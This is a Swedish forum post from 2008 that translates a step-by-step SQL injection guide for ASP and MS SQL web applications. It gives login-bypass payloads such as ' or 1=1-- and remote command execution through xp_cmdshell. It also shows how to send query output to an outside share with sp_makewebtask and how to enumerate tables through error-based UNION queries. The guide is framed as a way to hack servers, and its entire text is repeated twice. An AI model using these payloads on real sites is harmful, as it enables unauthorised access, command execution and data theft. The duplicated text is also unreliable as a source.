2008-01-31, 16:46
#1
Här kommer en ganska så stor SQL guide som jag översatt fritt ifrån:
http://www.securiteam.com/securityre...DP0N1P76E.html
Den kommer säkerligen innehålla något stavfel och
andra småfel men det får ni ha överseende med.
http://www.securiteam.com/securityre...DP0N1P76E.html
Den kommer säkerligen innehålla något stavfel och
andra småfel men det får ni ha överseende med.
Creds:
Översatt utav MobStar www.GoldenMembers.nu
Du får inte tabort/redigera/posta denna guide någon annanstans
utan denna "creds" rutan!
Denna informationen har
Kommit ifrån sk@scan-associates.net
http://www.securiteam.com/securityre...DP0N1P76E.html
Detaljer:
1.0 Inledning
När en maskin bara har port 80 öppen
så kan inte ens din bästa vulnerability scanner
ge dig något användbart och du vet att admin
alltid patchar sin server, vi måste hacka via webläsaren.
SQL injektioner är en typ utav hacking via webläsaren,
det kräver bara att port 80 är öppen det går ibland även
fast admin är glad för att patcha. Attacken görs på web aplikationen
(som ASP, JSP, PHP, CGI, mm) direkt istället för på servern
eller mjukvaror som körs på operativsystemet.
Den här artiklen tar inte upp något nytt,
SQL intektioner har varit använt vitt och brett länge.
Vi skrev artiklen för att vi ville dokumentera några
utav våra kunskaper när vi använt SQL injektioner och hoppas
att det kanske är till någon form utav användning för andra.
Du kommer att hitta ett eller två "tricks" men kolla på
9.0 "Var kan jag få mer information?" som verkligen förtjänar
creds för att ha utvecklat många tekniker inom SQL injektioner.
1.1 Vad är en SQL injektion?
Det är ett trick att injektera SQL frågor/command som en input
via webadresser. Många websidor tar parametrar från web användare,
och gör en SQL förfrågan till databasen. Ta till exempel när en
användare loggar in, websidan tar användarnamnet och lösenordet
och gör till en SQL förfrågan till databasen för att kolla ifall
en använder har ett giltigt användarnamn och lösenord.
Med SQL injektion är det möjligt för oss att skicka ändrade
användarnamn och/eller lösenords fält
vilka kommer ändra SQL förfrågan och kommer ge oss något annat.
1.2 Vad behöver du?
Vilken webläsare som helst.
(Rekomenderar Mozila FireFox då det finns massor utav
användabra plugins)
2.0 Vad bör du kolla efter?
Försök att hålla utkik efter sidor som tillåter dig att skicka data,
tex. Inloggnings sidor, sök fält, mm. Ibland anv'nder HTML sidor POST
kommandon för att sända parametrar till en annan ASP sida. Därför är
det inte alltid du ser parametrarna i URL'en.. Hur som helst, du kan
kolla i källkoden utav HTML'n, och kolla efter "FORM" taggar i koden.
Ibland kan du hitta något som detta:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Allting emellan <FROM> och </FROM> har potentiella parametrar
vilka kan vara användbara. (För att utnytja)
2.1 Men om jag inte kan hita någon sida som har input?
Du ska kolla efter sidor med ASP, JSP, CGI eller PHP.
Försök att kolla extra efter URL's som har parametrar som:
http://sidan.se/index.asp?id=10
3.0 Hur testar man om den är sårbar?
Börja med enkel förfrågan. Skriv något som:
hi' or 1=1--
Som användarnamn eller lösenord eller tillochmed i URL'en. tex:
-Användarnamn: hi' or 1=1--
-Password: hi' or 1=1--
-http://sidan.se/index.asp?id=hi' or 1=1--
Om du måste göra detta med ett dolt fält är det bara att ladda ner
källkoden utav HTML koden från sidan, spara den på din dator och
modifirea URL'en och dolda fält. tex:
<FORM action=http://sidan.se/index.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
Har du turen på din sida så kommer du bli inloggad
utan användarnamn eller password.
3.1 Men varför ' or 1=1--?
Låt oss kolla på ett annat exempel varför ' or 1=1-- är viktigt.
Förutom att komma förbi inloggningen är det också möjligt att
se extra information som vanligtvis inte är synligt.
Ta en ASP sida som länkar dig vidare till någon annan sida
med följande URL:
http://sidan.se/index.asp?category=food
I URL'en är 'category' variabeln och 'food' är värdet
som är kopplat till variabeln. För att göra det måste ASP
koden innehålla följande kod
(okej, detta är en riktig kod som vi gjorde för träning):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Som vi kan se så är våran variabel kopplad till v_cat och då
skulle SQL utskicket vara:
SELECT * FROM product WHERE PCategory='food'
Förfrågan skulle ge oss ett svar som innehåller en eller flera
rader som matchar våran WHERE definition, som var 'food'.
Nu antar vi att vi ändrade URL'en till något som detta:
http://sidan.se/index.asp?category=food' or 1=1--
Nu är våran variabel v_cat likamed "food' or 1=1--"
om vi ersatte det i SQL förfrågan, skulle vi ha:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Förfrågan borde nu välja allting från produkt tabellen
oavsett om PCategory är likamed 'food' eller ej.
Dubbel sträcken "--" berättar för MS SQL servern att ignorera
resten utav förfrågan, vilket kommer att få den att ignorera
den sista enkla citat tecknet (').
Hur som helst, om det inte är en SQL server eller att du
helt enkelt inte kan ignorera resten utav förfrågan kan
du också prova:
' or 'a'='a
SQL förfrågan kommer nu vara:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Det borde ge samma resultat.
Beroende på SQL förfrågan kanske du måste
proga någon utav dom hära möjligheterna:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 Hur skickar jag en SQL förfrågan på distans?
Att kunna injektera SQL kommandon menas oftast att vi kan
exekvera vilken SQL förfrågan vi vill. Default installationen
av MS SQL körs som SYSTEM vilket är detsamma som
Administratör i windows. Vi kan använda lagrade procedurer som
master..xp_cmdshell för att geneomföra en distans exekvens:
';exec master..xp_cmdshell 'ping 10.10.1.2'--
Försök att använda dubbla citat tecken (")
ifall enkla (') inte funkar.
Semikolonet stoppar SQL förfrågan och det tillåter dig att
starta ett nytt SQL kommando. För att verifiera att
kommandet har körts korrekt, kan du lyssna på ICMP paket
från 10.10.1.2, kolla ifall där är några paket ifrån servern:
#tcpdump icmp
Om du inte får något ping svar från servern och får
felmeddelanden som innehåller att du inte har tillåtelse kan det
vara möjligt att administratören har en gräns för internet användare
att komma åt deras lagrade procedurer.
5.0 Hur får man output av min SQL förfrågan?
Det är möjligt att använda sp_makewebtask för att skriva
din förfrågan till HTML.
';EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"
Men målets IP måste tillåta att "share" delar med sig till alla.
6.0 Hur får jag data ifrån en databas som har ODBC fel?
Vi kan använda information från felmeddelandet från MS SQL servern
för att få nästan all data vi vill ha. Ta följande sida tex:
http://sidan.se/index.asp?id=10
Vi kommer försöka att UNION heltalet '10' med en annan sträng
ifrån databasen:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCEMA.TABLES--
System tabellen INFROMATION_SVEMA.TABLES innehåller
information om alla tabeller på servern.
Fältet TABLE_NAME innehåller självklart namn för var och utan
tabellerna i databasen. Den var vald eftersom vi vet att den alltid finns.
Våran förfrågan:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SHEMA.TABLES--
Detta skulle ge första tabell namnet i databasen. När vi UNION
stängen och värdet heltalet 10 försöker MS SQL servern att
konvertera en sträng (nvarchar) till ett heltal. Detta kommer
skapa ett fel, eftersom att vi inte kan konvertera nvarchar till int.
kommer servern att visa följande fel:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Fel meddelandet är tillräckligt bra för att berätta för oss
att värdet inte kan bli konverterat till ett heltal.
I detta fallet har vi hittat det första tabellnamnet i databasen,
Vilket är "table1".
För att få fram nästa tabell namn kan vi använda följande förfrågan:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Vi kan också söka efter data genom att använda nyckelordet LIKE:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
'%25login%25' kommer att tydas som %login% utav SQL servern.
I detta fallet kommer vi få första tabellnamnet som matchar
kriterierna, "admin_login".
Översatt utav MobStar www.GoldenMembers.nu
Du får inte tabort/redigera/posta denna guide någon annanstans
utan denna "creds" rutan!
Denna informationen har
Kommit ifrån sk@scan-associates.net
http://www.securiteam.com/securityre...DP0N1P76E.html
Detaljer:
1.0 Inledning
När en maskin bara har port 80 öppen
så kan inte ens din bästa vulnerability scanner
ge dig något användbart och du vet att admin
alltid patchar sin server, vi måste hacka via webläsaren.
SQL injektioner är en typ utav hacking via webläsaren,
det kräver bara att port 80 är öppen det går ibland även
fast admin är glad för att patcha. Attacken görs på web aplikationen
(som ASP, JSP, PHP, CGI, mm) direkt istället för på servern
eller mjukvaror som körs på operativsystemet.
Den här artiklen tar inte upp något nytt,
SQL intektioner har varit använt vitt och brett länge.
Vi skrev artiklen för att vi ville dokumentera några
utav våra kunskaper när vi använt SQL injektioner och hoppas
att det kanske är till någon form utav användning för andra.
Du kommer att hitta ett eller två "tricks" men kolla på
9.0 "Var kan jag få mer information?" som verkligen förtjänar
creds för att ha utvecklat många tekniker inom SQL injektioner.
1.1 Vad är en SQL injektion?
Det är ett trick att injektera SQL frågor/command som en input
via webadresser. Många websidor tar parametrar från web användare,
och gör en SQL förfrågan till databasen. Ta till exempel när en
användare loggar in, websidan tar användarnamnet och lösenordet
och gör till en SQL förfrågan till databasen för att kolla ifall
en använder har ett giltigt användarnamn och lösenord.
Med SQL injektion är det möjligt för oss att skicka ändrade
användarnamn och/eller lösenords fält
vilka kommer ändra SQL förfrågan och kommer ge oss något annat.
1.2 Vad behöver du?
Vilken webläsare som helst.
(Rekomenderar Mozila FireFox då det finns massor utav
användabra plugins)
2.0 Vad bör du kolla efter?
Försök att hålla utkik efter sidor som tillåter dig att skicka data,
tex. Inloggnings sidor, sök fält, mm. Ibland anv'nder HTML sidor POST
kommandon för att sända parametrar till en annan ASP sida. Därför är
det inte alltid du ser parametrarna i URL'en.. Hur som helst, du kan
kolla i källkoden utav HTML'n, och kolla efter "FORM" taggar i koden.
Ibland kan du hitta något som detta:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
Allting emellan <FROM> och </FROM> har potentiella parametrar
vilka kan vara användbara. (För att utnytja)
2.1 Men om jag inte kan hita någon sida som har input?
Du ska kolla efter sidor med ASP, JSP, CGI eller PHP.
Försök att kolla extra efter URL's som har parametrar som:
http://sidan.se/index.asp?id=10
3.0 Hur testar man om den är sårbar?
Börja med enkel förfrågan. Skriv något som:
hi' or 1=1--
Som användarnamn eller lösenord eller tillochmed i URL'en. tex:
-Användarnamn: hi' or 1=1--
-Password: hi' or 1=1--
-http://sidan.se/index.asp?id=hi' or 1=1--
Om du måste göra detta med ett dolt fält är det bara att ladda ner
källkoden utav HTML koden från sidan, spara den på din dator och
modifirea URL'en och dolda fält. tex:
<FORM action=http://sidan.se/index.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
Har du turen på din sida så kommer du bli inloggad
utan användarnamn eller password.
3.1 Men varför ' or 1=1--?
Låt oss kolla på ett annat exempel varför ' or 1=1-- är viktigt.
Förutom att komma förbi inloggningen är det också möjligt att
se extra information som vanligtvis inte är synligt.
Ta en ASP sida som länkar dig vidare till någon annan sida
med följande URL:
http://sidan.se/index.asp?category=food
I URL'en är 'category' variabeln och 'food' är värdet
som är kopplat till variabeln. För att göra det måste ASP
koden innehålla följande kod
(okej, detta är en riktig kod som vi gjorde för träning):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Som vi kan se så är våran variabel kopplad till v_cat och då
skulle SQL utskicket vara:
SELECT * FROM product WHERE PCategory='food'
Förfrågan skulle ge oss ett svar som innehåller en eller flera
rader som matchar våran WHERE definition, som var 'food'.
Nu antar vi att vi ändrade URL'en till något som detta:
http://sidan.se/index.asp?category=food' or 1=1--
Nu är våran variabel v_cat likamed "food' or 1=1--"
om vi ersatte det i SQL förfrågan, skulle vi ha:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
Förfrågan borde nu välja allting från produkt tabellen
oavsett om PCategory är likamed 'food' eller ej.
Dubbel sträcken "--" berättar för MS SQL servern att ignorera
resten utav förfrågan, vilket kommer att få den att ignorera
den sista enkla citat tecknet (').
Hur som helst, om det inte är en SQL server eller att du
helt enkelt inte kan ignorera resten utav förfrågan kan
du också prova:
' or 'a'='a
SQL förfrågan kommer nu vara:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
Det borde ge samma resultat.
Beroende på SQL förfrågan kanske du måste
proga någon utav dom hära möjligheterna:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 Hur skickar jag en SQL förfrågan på distans?
Att kunna injektera SQL kommandon menas oftast att vi kan
exekvera vilken SQL förfrågan vi vill. Default installationen
av MS SQL körs som SYSTEM vilket är detsamma som
Administratör i windows. Vi kan använda lagrade procedurer som
master..xp_cmdshell för att geneomföra en distans exekvens:
';exec master..xp_cmdshell 'ping 10.10.1.2'--
Försök att använda dubbla citat tecken (")
ifall enkla (') inte funkar.
Semikolonet stoppar SQL förfrågan och det tillåter dig att
starta ett nytt SQL kommando. För att verifiera att
kommandet har körts korrekt, kan du lyssna på ICMP paket
från 10.10.1.2, kolla ifall där är några paket ifrån servern:
#tcpdump icmp
Om du inte får något ping svar från servern och får
felmeddelanden som innehåller att du inte har tillåtelse kan det
vara möjligt att administratören har en gräns för internet användare
att komma åt deras lagrade procedurer.
5.0 Hur får man output av min SQL förfrågan?
Det är möjligt att använda sp_makewebtask för att skriva
din förfrågan till HTML.
';EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html",
"SELECT * FROM INFORMATION_SCHEMA.TABLES"
Men målets IP måste tillåta att "share" delar med sig till alla.
6.0 Hur får jag data ifrån en databas som har ODBC fel?
Vi kan använda information från felmeddelandet från MS SQL servern
för att få nästan all data vi vill ha. Ta följande sida tex:
http://sidan.se/index.asp?id=10
Vi kommer försöka att UNION heltalet '10' med en annan sträng
ifrån databasen:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCEMA.TABLES--
System tabellen INFROMATION_SVEMA.TABLES innehåller
information om alla tabeller på servern.
Fältet TABLE_NAME innehåller självklart namn för var och utan
tabellerna i databasen. Den var vald eftersom vi vet att den alltid finns.
Våran förfrågan:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SHEMA.TABLES--
Detta skulle ge första tabell namnet i databasen. När vi UNION
stängen och värdet heltalet 10 försöker MS SQL servern att
konvertera en sträng (nvarchar) till ett heltal. Detta kommer
skapa ett fel, eftersom att vi inte kan konvertera nvarchar till int.
kommer servern att visa följande fel:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
Fel meddelandet är tillräckligt bra för att berätta för oss
att värdet inte kan bli konverterat till ett heltal.
I detta fallet har vi hittat det första tabellnamnet i databasen,
Vilket är "table1".
För att få fram nästa tabell namn kan vi använda följande förfrågan:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Vi kan också söka efter data genom att använda nyckelordet LIKE:
http://sidan.se/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
'%25login%25' kommer att tydas som %login% utav SQL servern.
I detta fallet kommer vi få första tabellnamnet som matchar
kriterierna, "admin_login".
__________________
Senast redigerad av osis+ 2008-01-31 kl. 16:56.
Senast redigerad av osis+ 2008-01-31 kl. 16:56.